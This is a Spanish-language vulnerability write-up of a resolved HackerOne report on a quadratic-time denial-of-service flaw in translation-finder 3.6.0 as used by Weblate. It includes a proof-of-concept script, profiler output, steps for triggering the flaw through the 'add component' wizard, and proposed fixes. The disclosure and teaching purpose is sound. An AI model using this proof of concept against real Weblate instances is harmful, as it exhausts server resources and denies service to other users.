Resumen
translation-finder es la biblioteca de Python que usa Weblate para detectar automáticamente qué ficheros de un repositorio o de un ZIP contienen traducciones. El fallo estaba en la versión 3.6.0 (commit 76186ba54f1e2c67176aa4c379c2f1d5fc406039) y es un problema de complejidad algorítmica (CWE-407, con consecuencia CWE-400: consumo de recursos sin control).
La pieza central es Finder.mask_matches(), en translation_finder/finder.py:209. Cuando la máscara no lleva asterisco, la búsqueda es directa en un diccionario y no hay problema. Pero cuando lleva comodín, la función recorre todo el grupo de ficheros indexados con el mismo sufijo y ejecuta un fnmatch() por cada uno:
def mask_matches(self, mask: str) -> Generator[PurePath]:
if "*" not in mask:
match = self.files_by_path.get(mask) # O(1) — not affected
...
else:
...
candidates = self.files_by_suffix.get(suffix, []) # full bucket
...
for name, path in candidates:
if fnmatch(name, mask): # O(bucket) per call
yield path
Ese recorrido por sí solo es lineal. El problema aparece porque varios módulos de descubrimiento llaman a mask_matches() una vez por cada resultado encontrado, o por cada candidato, mientras iteran sobre ese mismo grupo de ficheros. Con N ficheros que comparten sufijo, una sola llamada a discover() hace del orden de N² comparaciones. Los puntos de llamada afectados eran:
discovery/base.py:473,detect_encoding(): se llama una vez por resultado (máscara y plantilla). Aunque tiene unbreakenbase.py:482, ese corte solo limita cuántos ficheros se muestrean para detectar la codificación (ENCODING_SNIFF_MAX_FILES = 10,FORMAT_SNIFF_MAX_BYTES = 1 MB); el generador de coincidencias se consume entero igualmente.discovery/files.py:226,_iter_result_paths(): una vez por resultado y consumiendo el generador completo, sin salida anticipada.discovery/files.py:999,has_template_less_content(): una vez por candidato y llamando dos veces a_iter_result_paths(). Esto hace que el coste cuadrático aparezca aunque el descubrimiento no encuentre ningún resultado.
Según el investigador, era lo que quedaba pendiente tras dos arreglos anteriores del propio mantenedor para este mismo tipo de fallo: el PR #922 ("perf: index finder candidates", 25-jun-2026) indexó las búsquedas por nombre exacto y por sufijo, pero dejó el recorrido completo para las máscaras con comodín, y el PR #980 ("fix: avoid quadratic new-base discovery", 27-jul-2026) solo corrigió la ruta de los ficheros Qt .ts.
En Weblate, discover() se llama directamente (weblate/trans/forms.py:43) y de forma síncrona dentro de la petición web del asistente "Añadir nuevo componente de traducción" (weblate/trans/views/create.py:330 → ComponentDiscoverForm.perform_discovery(), forms.py:3402-3412). Si la primera pasada no encuentra nada, se reintenta con discover(eager=True). La vista previa de preajustes (addons/forms.py:1316 → trans/discovery.py:451) hace la misma llamada. Los límites que sí tiene la clase del complemento ComponentDiscovery (100.000 rutas / 1 millón de comparaciones) no se aplican en estas rutas.
Pasos de reproducción
Entorno de prueba del investigador: Python 3.13.9, Linux x64 y charset-normalizer 3.5.2.
- Clonar la biblioteca en el commit afectado e instalarla en un entorno virtual:
git clone https://github.com/WeblateOrg/translation-finder
cd translation-finder
git checkout 76186ba54f1e2c67176aa4c379c2f1d5fc406039
python3 -m venv .venv && .venv/bin/pip install -e .
Debe quedar instalada esta versión:
Name: translation-finder
Version: 3.6.0
- Guardar como
poc_tf_dos.pyel siguiente script, que crea N ficheros con el mismo sufijo en/tmp/tf_dos_pocy mide cuánto tardadiscover():
#!/usr/bin/env python3
"""PoC: O(N^2) fnmatch during discover() — translation-finder 3.6.0 @ 76186ba."""
import os, shutil, sys, time
from pathlib import PurePath
from translation_finder import discover
N = int(sys.argv[1]) if len(sys.argv) > 1 else 4000
MODE = sys.argv[2] if len(sys.argv) > 2 else "properties" # properties | json-zero | po
SUFFIXES = {
"properties": (".properties", lambda i: f"key_{i}=value\n"), # 4000 results
"json-zero": (".json", lambda i: "[]\n"), # 0 results
"po": (".po", lambda i: f'msgid "k{i}"\nmsgstr "v{i}"\n'),
}
root = "/tmp/tf_dos_poc"
if os.path.isdir(root):
shutil.rmtree(root)
os.makedirs(root)
suffix, content = SUFFIXES[MODE]
for i in range(N):
with open(os.path.join(root, f"u{i}_cs{suffix}"), "w") as fh:
fh.write(content(i))
t = time.monotonic()
results = list(discover(PurePath(root)))
wall = time.monotonic() - t
print(f"mode={MODE} N={N} results={len(results)} wall={wall:.2f}s")
- Ejecutarlo con tamaños que se van duplicando:
.venv/bin/python poc_tf_dos.py 500 properties
.venv/bin/python poc_tf_dos.py 1000 properties
.venv/bin/python poc_tf_dos.py 2000 properties
.venv/bin/python poc_tf_dos.py 4000 properties
.venv/bin/python poc_tf_dos.py 8000 properties
Tiempos que midió el investigador:
| Ficheros | Tiempo | Factor al duplicar | |---|---|---| | 500 | 0,33 s | — | | 1.000 | 0,86 s | 2,63 | | 2.000 | 2,99 s | 3,48 | | 4.000 | 10,79 s | 3,61 | | 8.000 | 45,78 s | 4,24 |
Si al duplicar la entrada el tiempo se multiplica por cerca de 4, el crecimiento es cuadrático. Con 8.000 ficheros el árbol ocupa menos de 1 MB: lo que cuenta es el número de ficheros, no su tamaño.
- Confirmar con el perfilador dónde se va el tiempo:
.venv/bin/python -m cProfile -s cumulative poc_tf_dos.py 2000 properties 2>&1 \
| grep -E "mask_matches|fnmatch|detect_encoding|_iter_result_paths|from_bytes" | head -8
Salida medida con N=2000:
8000 2.363 0.000 13.487 0.002 finder.py:209(mask_matches)
8000000 3.900 0.000 11.076 0.000 fnmatch.py:19(fnmatch)
2000 0.043 0.000 7.364 0.004 base.py:473(detect_encoding)
4000 0.015 0.000 6.734 0.002 files.py:226(_iter_result_paths)
2000 0.135 0.000 0.281 0.000 api.py:50(from_bytes)
Las cuentas cuadran: de las 8.000 llamadas a mask_matches, 4.000 usan máscara con comodín (las de plantilla son rutas concretas y salen en O(1)). 4.000 llamadas × 2.000 ficheros en el grupo = 8.000.000 de llamadas a fnmatch, exactamente lo medido; con N=4000 serían unos 32 millones. mask_matches supone cerca del 85 % del tiempo acumulado; la detección de codificación (from_bytes) no llega al 2 %.
- Repetir con ficheros JSON que no contienen traducciones:
.venv/bin/python poc_tf_dos.py 4000 json-zero
mode=json-zero N=4000 results=0 wall=5.92s
Cero resultados y casi seis segundos de CPU, porque has_template_less_content() ya hace los recorridos durante el filtrado previo. Como comparación, el investigador comprobó que los mismos 4.000 ficheros repartidos en cuatro sufijos tardan 2,03 s (el grupo es cuatro veces menor) y que un árbol .po del mismo tamaño es lineal (0,57 s con 4.000 resultados), porque el descubrimiento de Gettext no pasa por estas rutas.
- Llevarlo a Weblate: con un usuario autenticado que tenga el permiso integrado "Añadir nuevo componente" en algún proyecto, apuntar el asistente de nuevo componente a un repositorio o ZIP que descargue la instancia (basta un repositorio público controlado por el atacante) con miles de ficheros del mismo sufijo. La detección se ejecuta dentro de la propia petición web.
Impacto
Solo afecta a la disponibilidad. Un árbol de ficheros pequeño convierte cada petición de descubrimiento en minutos de CPU dentro de un hilo síncrono de la petición web, lo que permite agotar con facilidad los procesos que atienden peticiones, y el efecto se repite con cada nueva petición. Según la extrapolación del investigador, un árbol de unos 30.000 ficheros (unos 10 MB, dentro de los límites normales de subida) costaría entre 10 y 15 minutos de CPU por llamada.
Requisitos: estar autenticado y tener permiso para añadir componentes en un proyecto. No hay impacto en confidencialidad ni integridad, ni salto de autenticación ni corrupción de memoria. Afecta a los formatos tipo .properties y JSON, no a Gettext (.po).
HackerOne lo clasificó con severidad media y el reporte figura como resuelto. No consta recompensa ni CVE.
Remediación
El reporte figura como resuelto, pero no detalla cómo se corrigió. El investigador propuso:
- Calcular una sola vez el conjunto de coincidencias de cada máscara (una pasada por el grupo) en lugar de volver a recorrerlo en cada resultado, de modo que el coste sea O(grupo) por máscara y no por máscara × resultado.
- Limitar los recorridos de
_iter_result_paths()y del muestreo dedetect_encoding()a los primerosENCODING_SNIFF_MAX_FILEScandidatos. - Memorizar las listas de coincidencias de los resultados que comparten la misma combinación de plantilla y sufijo.
- Imponer un presupuesto de tiempo u operaciones dentro de
discover(), igual que ya existenFORMAT_SNIFF_MAX_BYTESyENCODING_SNIFF_MAX_FILES.
Qué aprender de este caso
- Un límite de muestreo no protege si se aplica después del trabajo caro: aquí
detect_encoding()solo leía 10 ficheros, pero el generador de coincidencias se recorría entero en cada llamada. Al revisar un tope comoENCODING_SNIFF_MAX_FILES, comprueba qué recorre realmente la función que hay debajo. - Busca funciones de búsqueda "indexadas" que tengan una rama lenta (aquí, la máscara con
*) y mira quién las llama dentro de un bucle sobre los mismos datos: es la forma típica de convertir un O(N) en O(N²) sin que se note en las pruebas con pocos ficheros. - Mide con entradas que se duplican (500, 1.000, 2.000…) y fíjate en el factor: si se acerca a 4, es cuadrático. Es una prueba barata que encaja en los tests de rendimiento de cualquier analizador de repositorios o archivos ZIP.
- Si una operación costosa sobre datos del usuario se ejecuta dentro de una petición web, ponle el mismo tope en todas las rutas que la usan: en Weblate el complemento
ComponentDiscoverytenía límites, pero el asistente y la vista previa llamaban adiscover()sin ninguno.